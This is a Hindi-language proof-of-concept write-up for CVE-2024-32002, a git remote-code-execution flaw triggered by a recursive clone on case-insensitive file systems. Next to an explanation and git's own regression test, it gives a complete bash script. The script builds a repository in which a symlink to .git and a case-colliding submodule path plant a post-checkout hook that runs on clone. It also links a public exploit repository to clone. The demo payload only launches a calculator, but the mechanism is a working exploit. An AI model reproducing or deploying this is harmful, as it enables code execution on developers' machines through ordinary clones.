
CVE-2024-32002 POC
योगदानकर्ता
यह कमजोरी केस-इनसेंसिटिव फ़ाइल सिस्टम जैसे Windows, MacOS में submodule वाले git रिपॉजिटरी को clone करने पर होने वाली RCE (रिमोट कोड एक्ज़ीक्यूशन) कमजोरी है। RCE एक रिमोट कोड एक्ज़ीक्यूशन कमजोरी है जिससे हमलावर लक्ष्य सिस्टम पर मनचाहे कमांड चला सकता है, जो बहुत घातक कमजोरी है।
A/modules/x और a/modules/x को समान पथ माना जाता है। इस विशेषता और सिम्बोलिक लिंक का उपयोग करके कमजोरी उत्पन्न की जाती है।
git config --global core.symlinks false सेट किया गया है तो हमला काम नहीं करता।builtin/submodule--helper.cdir_contains_only_dotgit फ़ंक्शन: जाँचता है कि डायरेक्टरी में केवल .git फ़ाइल है या अन्य डायरेक्टरी भी हैं, और यदि अन्य फ़ाइलें या डायरेक्टरी हैं तो त्रुटि लौटाता है। clone_submodule फ़ंक्शन: clone करने से पहले जाँचता है कि सबमॉड्यूल डायरेक्टरी मौजूद है और खाली है।
t/t7406-submodule-update.shtest_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
A/modules/x में सबमॉड्यूल के रूप में जोड़ता है और कमिट करता है।test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main
# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF
# Make the hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define the hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
git clone --recursive captain hooked
git में hook होते हैं जो विशेष घटनाओं पर स्वचालित रूप से स्क्रिप्ट चला सकते हैं। ये .git/hooks डायरेक्टरी में स्थित होते हैं। post-checkout वह स्क्रिप्ट है जो checkout के बाद चलती है।

क्रम इस प्रकार है:
.git को इंगित करने वाला सिम्बोलिक लिंक a बनाया जाता है।A/modules/x के बजाय a/modules/x के रूप में पहचाना जाता है।a .git को इंगित करता है, इसलिए .git में /modules/x बनता है और y/hooks/post-checkout उत्पन्न होता है।git_rce/.git/modules/x/y/hooks/post-checkout चलता है और RCE होता है।⚠️चेतावनी: इस कमजोरी का दुर्भावनापूर्ण उपयोग न करें!
git clone --recursive https://github.com/Roronoawjd/git_rce.gitनोट: Windows में, इसे व्यवस्थापक अधिकारों के साथ cmd या bash शेल में चलाना चाहिए।